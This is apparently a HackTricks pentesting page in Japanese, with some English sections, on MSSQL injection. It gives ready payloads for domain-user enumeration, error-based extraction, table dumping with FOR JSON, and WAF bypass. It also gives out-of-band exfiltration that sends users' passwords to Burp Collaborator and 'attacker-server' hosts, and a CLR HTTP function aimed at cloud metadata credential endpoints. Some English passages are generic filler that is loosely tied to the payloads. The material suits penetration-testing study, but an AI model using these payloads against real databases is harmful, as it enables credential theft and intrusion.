hacktricks/pentesting-web/sql-injection/mssql-injection.md
2023-07-07 23:42:27 +00:00

18 KiB
Raw Blame History

MSSQLインジェクション

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Active Directoryの列挙

MSSQLサーバー内でのSQLインジェクションを使用して、次のMSSQL関数を使用してドメインユーザーを列挙することができる場合があります。

  • SELECT DEFAULT_DOMAIN(): 現在のドメイン名を取得します。
  • master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator')): ドメインの名前を知っている場合この例では_DOMAIN、この関数は16進数形式でユーザーAdministratorのSIDを返します。これは0x01050000000[...]0000f401のように見えます。最後の4バイトは、big endian形式でのユーザーadministratorの共通IDである500です。
    この関数を使用すると、最後の4バイト以外のドメインのIDを知ることができます。
  • SUSER_SNAME(0x01050000000[...]0000e803) : この関数は、指定されたIDのユーザー名を返します存在する場合。この場合、big endianで0000e803 == 1000通常、これは最初の通常のユーザーIDのIDです。その後、1000から2000までのユーザーIDをブルートフォースし、おそらくドメインのすべてのユーザーのユーザー名を取得できると想像できます。次のような関数を使用することができます
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000

代替エラーベースのベクトル

エラーベースのSQLインジェクションは通常、+AND+1=@@version--などの構造を持ち、OR演算子に基づくバリエーションもあります。このような式を含むクエリは通常、WAFによってブロックされます。バイパスとして、特定の関数呼び出しの結果に%2b文字を使用して文字列を連結し、求めているデータにデータ型変換エラーを引き起こす関数をトリガーします。

このような関数の例:

  • SUSER_NAME()
  • USER_NAME()
  • PERMISSIONS()
  • DB_NAME()
  • FILE_NAME()
  • TYPE_NAME()
  • COL_NAME()

関数USER_NAME()の使用例:

https://vuln.app/getItem?id=1'%2buser_name(@@version)--

SSRF

fn_xe_file_target_read_file

SSRFServer-Side Request Forgeryは、攻撃者がサーバー内の他のリソースにアクセスするためにサーバーを利用する攻撃手法です。

この攻撃手法は、fn_xe_file_target_read_fileという関数を悪用して実行されます。この関数は、SQL Serverの拡張イベントExtended Eventsのファイルターゲットからファイルを読み取るために使用されます。

攻撃者は、この関数を使用して、サーバー内のファイルシステムにアクセスし、機密情報を取得することができます。この攻撃手法を防ぐためには、適切なアクセス制御と入力検証が必要です。

https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))

権限: サーバー上で**VIEW SERVER STATE**権限が必要です。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';

fn_get_audit_file

fn_get_audit_file is a built-in function in Microsoft SQL Server that allows you to retrieve audit information from the server's audit log files. This function is commonly used for auditing and compliance purposes, as it provides a way to access detailed information about database activities.

To use fn_get_audit_file, you need to specify the path to the audit log file and provide the necessary parameters to filter the results. The function returns a table with columns representing different aspects of the audit information, such as the event type, timestamp, and target object.

It's important to note that fn_get_audit_file requires the necessary permissions to access the audit log files. Additionally, you should ensure that the audit log files are stored in a secure location to prevent unauthorized access to sensitive information.

Overall, fn_get_audit_file is a useful function for retrieving and analyzing audit information in Microsoft SQL Server. By leveraging this function, you can gain insights into database activities and enhance the security and compliance of your SQL Server environment.

https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))

権限: CONTROL SERVER 権限が必要です。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';

fn_trace_gettable

fn_trace_gettable is a built-in function in Microsoft SQL Server that allows you to read the contents of a trace file and return the data in a tabular format. This function is commonly used for troubleshooting and performance analysis purposes.

To use fn_trace_gettable, you need to provide the path of the trace file and specify the columns you want to retrieve. The function will then parse the trace file and return the requested data.

Here is the syntax for using fn_trace_gettable:

SELECT *
FROM fn_trace_gettable('C:\Path\To\TraceFile.trc', default)

In the above example, C:\Path\To\TraceFile.trc is the path to the trace file you want to read. The default parameter specifies the default file format for the trace file.

Keep in mind that fn_trace_gettable requires the necessary permissions to access the trace file. Additionally, it is important to ensure that the trace file is not accessible to unauthorized users, as it may contain sensitive information.

https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))

権限: CONTROL SERVER 権限が必要です。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';

xp_dirtree, xp_fileexists, xp_subdirs

MSSQLを使用してネットワークコールを行うための最も一般的な方法は、格納プロシージャxp_dirtreeを使用することです。これはMicrosoftによって公式には文書化されていないため、インターネット上の他の人々によって文書化されています。この方法は、[インターネット上のOut of Band Data exfiltrationの投稿で複数の例で使用されています。

基本的には、

DECLARE @user varchar(100);
SELECT @user = (SELECT user);
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');

MySQLのLOAD_FILEと同様に、xp_dirtreeを使用してネットワークリクエストをTCPポート445のみに行うことができます。ポート番号を制御することはできませんが、ネットワーク共有から情報を読み取ることができます。

**注意:**これは、デフォルトの設定で実行されているWindows Server 2016 Datacenter上のMicrosoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)では機能しません。

他にもmaster..xp_fileexistのようなストアドプロシージャや**xp_subdirs**など、同様の結果を得るために使用できるものがあります。

xp_cmdshell

もちろん、xp_cmdshellを使用してSSRFをトリガーする何かを実行することもできます。詳細については、ページの関連セクションを読んでください:

{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %} pentesting-mssql-microsoft-sql-server {% endcontent-ref %}

MSSQLユーザー定義関数 - SQLHttp

CLR UDFCommon Language Runtime User Defined Function - .NET言語で書かれ、DLLにコンパイルされたコードを簡単に作成し、MSSQL内でカスタム関数としてロードすることができます。ただし、これにはdboアクセスが必要なので、Webアプリケーションのデータベースへの接続が**saまたは管理者の役割**として行われていない限り、機能しない場合があります。

このGithubリポジトリには、Visual Studioプロジェクトとインストール手順があります。これにより、バイナリをCLRアセンブリとしてMSSQLにロードし、MSSQL内からHTTP GETリクエストを呼び出すことができます。

http.csのコードでは、WebClientクラスを使用してGETリクエストを行い、コンテンツを取得します

using System.Data.SqlTypes;
using System.Net;

public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
}

インストール手順では、CREATE ASSEMBLY クエリの前に以下を実行して、アセンブリのSHA512ハッシュをサーバーの信頼されたアセンブリのリストに追加しますselect * from sys.trusted_assemblies; を使用してリストを表示できます)。

EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';

アセンブリが追加され、関数が作成されたら、次のコマンドを実行してHTTPリクエストを行うことができます。

DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);

クイックな攻撃: 1つのクエリでテーブル全体を取得する

1つのクエリでテーブルの全内容を取得するためには、FOR XMLまたはFOR JSON句を使用する方法があります。FOR XML句は「raw」といった指定されたモードが必要ですが、簡潔さの観点からFOR JSONが優れています。

現在のデータベースからスキーマ、テーブル、列を取得するクエリ:

https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--

エラーベースのベクターは、JSONとしてフォーマットすることができないため、エイリアスまたは名前が必要です。

https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--

現在のクエリの取得

実行中のSQLクエリは、sys.dm_exec_requestssys.dm_exec_sql_textへのアクセスから取得できます。

https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null

権限: ユーザーがサーバー上でVIEW SERVER STATE権限を持っている場合、ユーザーはSQL Serverのインスタンスで実行中のすべてのセッションを表示します。それ以外の場合、ユーザーは現在のセッションのみを表示します。

# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';

WAFバイパスのための小技

非標準の空白文字: %C2%85または%C2%A0:

https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--

科学的な0eおよび16進0x表記によるUNIONの難読化

SELECT column1 FROM table1 WHERE column2 = 0e0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
SELECT column1 FROM table1 WHERE column2 = 0x0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
SELECT column1 FROM table1 WHERE column2 = 0e0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
SELECT column1 FROM table1 WHERE column2 = 0x0 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10--
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--

https://vuln.app/getItem?id=0xunion+select+null,@@version,null--

FROMと列名の間には、スペースの代わりにピリオドを使用します。

https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--

\Nは、SELECTと使い捨ての列の間の区切り文字です。

https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--

参考文献

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥